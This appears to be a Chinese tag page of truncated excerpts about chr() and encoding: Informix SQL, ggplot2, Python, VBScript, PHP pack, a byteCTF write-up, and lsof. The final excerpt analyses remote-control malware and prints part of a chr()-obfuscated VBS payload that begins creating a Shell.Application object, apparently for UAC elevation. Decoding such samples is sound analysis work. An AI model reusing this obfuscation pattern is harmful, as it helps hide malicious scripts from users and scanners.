chr

Informix Server 10 and remove CR character in select

两盒软妹~` 提交于 2019-12-12 03:32:30
问题 I need to remove the CR character in a select in Informix Server 10. The function chr doesn't exist in version 10, so when I try a replace like that REPLACE(text_column, chr(10), ' ') I get an error like that: Routine (chr) can not be resolved. [SQL State=IX000, DB Errorcode=-674] The function ascii(10) doesn't work either. Thanks in advance 回答1: I don't have access to an IDS 10 but see if this works out for you. Bear in mind that this is an example for LF : LF - ASCII Code 10, Line Feed; CR

ggplot2|玩转Manhattan图-你有被要求这么画吗?

只愿长相守 提交于 2019-12-12 02:29:39
本文首发于“生信补给站”,ggplot2|玩转Manhattan图-你有被要求这么画吗? 更多关于R语言,ggplot2绘图,生信分析的内容,敬请关注小号。 Manhattan图算是GWAS分析的标配图了,可参考 Bio|manhattan图 进行绘制。 由于Manhattan点太多,后期AI/PS修改的话难度有点大,如果可以“个性化”绘制的话那是极好的! 一 载入R包,数据 1)载入数据处理的tidyverse包,使用qqman中gwasResults示例数据集 #载入R包 #install.packages("qqman") library(qqman) library(tidyverse) #查看原始数据 head(gwasResults) SNP CHR BP P 1 rs1 1 1 0.9148060 2 rs2 1 2 0.9370754 3 rs3 1 3 0.2861395 4 rs4 1 4 0.8304476 5 rs5 1 5 0.6417455 6 rs6 1 6 0.5190959 我们知道Manhattan图实际就是点图,横坐标是chr,纵坐标是-log(Pvalue) ,原始P值越小,-log转化后的值越大,在图中就越高。 原始数据中重要的“元素”都有了 ,我们自己的数据也是只需要这四列就可以了。注意绘制前需要转化一下: 2)处理原始数据

How do i convert a list of numbers into their corresponding chr()

旧巷老猫 提交于 2019-12-11 08:23:37
问题 c = list(range(97, 121)) if i print this it will give [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119] each of these numbers chr() string is just the alphabet but how do i convert this list to the alphabet when i print c c = list(range(chr(97),chr(121))) gives an error. so not really sure how to convert them all at once rather than doing them individually thanks 回答1: hivert's solution is really good if you want to convert a range

VBScript chr() appears to return wrong value

*爱你&永不变心* 提交于 2019-12-10 18:39:33
问题 I'm trying to convert a character code to a character with chr(), but VBScript isn't giving me the value I expect. According to VBScript, character code 199 is: � However, when using something like Javascript's String.fromCharCode, 199 is: Ç The second result is what I need to get out of VBScript's chr() function. Any idea what the problem is? 回答1: Edited to reflect comments Chr(199) returns a 2-byte character, which is being interpreted as 2 separate characters. use ChrW(199) to return a

Python - Increment Characters in a String by 1

跟風遠走 提交于 2019-12-08 17:41:41
问题 I've searched on how to do this in python and I can't find an answer. If you have a string: >>> value = 'abc' How would you increment all characters in a string by 1? So the input that I'm looking for is: >>> value = 'bcd' I know I can do it with one character using ord and chr: >>> value = 'a' >>> print (chr(ord(value)+1)) >>> b But ord() and chr() can only take one character. If I used the same statement above with a string of more than one character. I would get the error: Traceback (most

PHP: chr和pack、unpack那些事

眉间皱痕 提交于 2019-12-07 20:47:17
PHP是一门很灵活的语言。正因为它太灵活了,甚至有些怪异,所以大家对它的评价褒贬不一。其实我想说的是,任何一门语言都有它自身的哲学,有它存在的出发点。PHP为Web而生,它以快速上手、快速开发而著称,所以它也常被冠以简单、新手用的语言等标签。我倒不这么认为,所谓选对的工具去做对的事,没有包打天下的语言。而至于说其简单,却也未必。 引子 我之前有篇文详细介绍过pack和unpack: PHP: 深入pack/unpack ,如果有不明白的地方,建议再回过头去看多几遍。现在应该能够写出以下代码: <?php echo pack("C", 97) . "\n"; $ php -f test.php a 但是,为什么会输出'a'呢?虽然我们知道字符'a'的ASCII码就是97,但是pack方法返回的是二进制字符串,为什么不是输出一段二进制而是'a'?为了确认pack方法返回的是一段二进制字符串,这里我对官方的pack的描述截了个图: 确实如此,pack返回包含二进制字符串的数据,接下来详细进行分析。 程序是如何显示字符的 这里所说的'程序',其实是个宏观的概念。 对于在控制台中执行脚本(这里是指PHP作为cli脚本来执行),脚本的输出会写入标准输出(stdin)或标准错误(stderr),当然也有可能会重定向到某个文件描述符。拿标准输出来说,暂且忽略它是行缓冲、全缓冲或者是无缓冲

在vscode里面调试普通的脚本chrome调试

[亡魂溺海] 提交于 2019-12-05 23:18:40
在launch.json里面配置如下代码就可以了 { "version": "0.2.0", "configurations": [ { "type": "chrome", "request": "launch", "name": "Launch Chrome against localhost", "url": "${file}", "sourceMaps": true, "webRoot": "${workspaceRoot}" }, { "name": "nodeLauch", //单独调试js,即可以直接运行js "type": "node", "request": "launch", "program": "${file}", //这个配置成你要调试的文件、${file}当前打开的文件 "stopOnEntry": false, "args": [], "cwd": "${workspaceRoot}", "runtimeExecutable": null, "runtimeArgs": [ "--nolazy" ], "env": { "NODE_ENV": "development" }, "console": "internalConsole", "preLaunchTask": "", "sourceMaps": false, "outDir": null } ]

byteCTF 2019

泪湿孤枕 提交于 2019-12-05 14:07:02
本文作者:z3r0yu 由“合天智汇”公众号首发,未经允许,禁止转载! 0x00 前言 周末的比赛质量还是挺高的,特别是boring_code,有点烧脑但是做的就很开心。 0x01 boring_code 题目描述 http://112.125.25.2:9999 题目解答 题目上来的邮件源码中给了提示,所以直接分析目录得到了对应的程序源码 <?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if (isset($_POST['url'])) { $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); print_r($r); if (preg_match('/baidu\.com$/', $r['host'])) { echo "pass preg_match"; $code = file_get_contents($url); print_r($code); // 下面这个正则约束了只能是phpinfo()

【Linux常见命令】lsof命令

浪尽此生 提交于 2019-12-05 06:56:11
lsof - list open files lsof命令用于查看你进程打开的文件,进程打开的端口(TCP、UDP),找回/恢复删除的文件,打开文件的进程。 语法:     lsof [选项] [文件] 常用选项: -c <进程名> 列出指定进程所打开的文件 +D <目录> 递归列出目录下被打开的文件 -i <条件> 列出符号条件的进程(4、6、协议、:端口、@ip) -n <目录> 列出使用NFS的文件 -p <进程号> 列出指定进程号所打开的文件 -u s 列出login name或UID为s的程序 实例 1. 在没有任何参数时,显示当前系统已经打开的正在使用的所有文件 [root@oldboy ~]# lsof|more -10 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME init 1 root cwd DIR 8,3 4096 2 / init 1 root rtd DIR 8,3 4096 2 / init 1 root txt REG 8,3 150352 139708 /sbin/init init 1 root mem REG 8,3 65928 132072 /lib64/libnss_fil es-2.12.so init 1 root mem REG 8,3 1926480 155325 /lib64

远程控制分析之VBS编码转换

人盡茶涼 提交于 2019-12-05 04:15:05
简介 分析这种VBS简单chr()函数编码的脚本技巧。只需要把vbs的execute()函数换成信息输出到控制台(dos窗口)函数就可以了。 WSH.Echo "print your message here" 输入命令CScript tmp.vbs,执行后输出内容为: " Microsoft (R) Windows Script Host Version 5.6 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。 print your message here " 示例: execute(chr(83)&chr(101)&chr(116)&chr(32)&chr(85)&chr(65)&chr(67)&chr(32)&chr(61)&chr(32)&chr(67)&chr(114)&chr(101)&chr(97)&chr(116)&chr(101)&chr(79)&chr(98)&chr(106)&chr(101)&chr(99)&chr(116)&chr(40)&chr(34)&chr(83)&chr(104)&chr(101)&chr(108)&chr(108)&chr(46)&chr(65)&chr(112)&chr(112)&chr(108)&chr(105)&chr(99)&chr(97)&chr(116)&chr(105)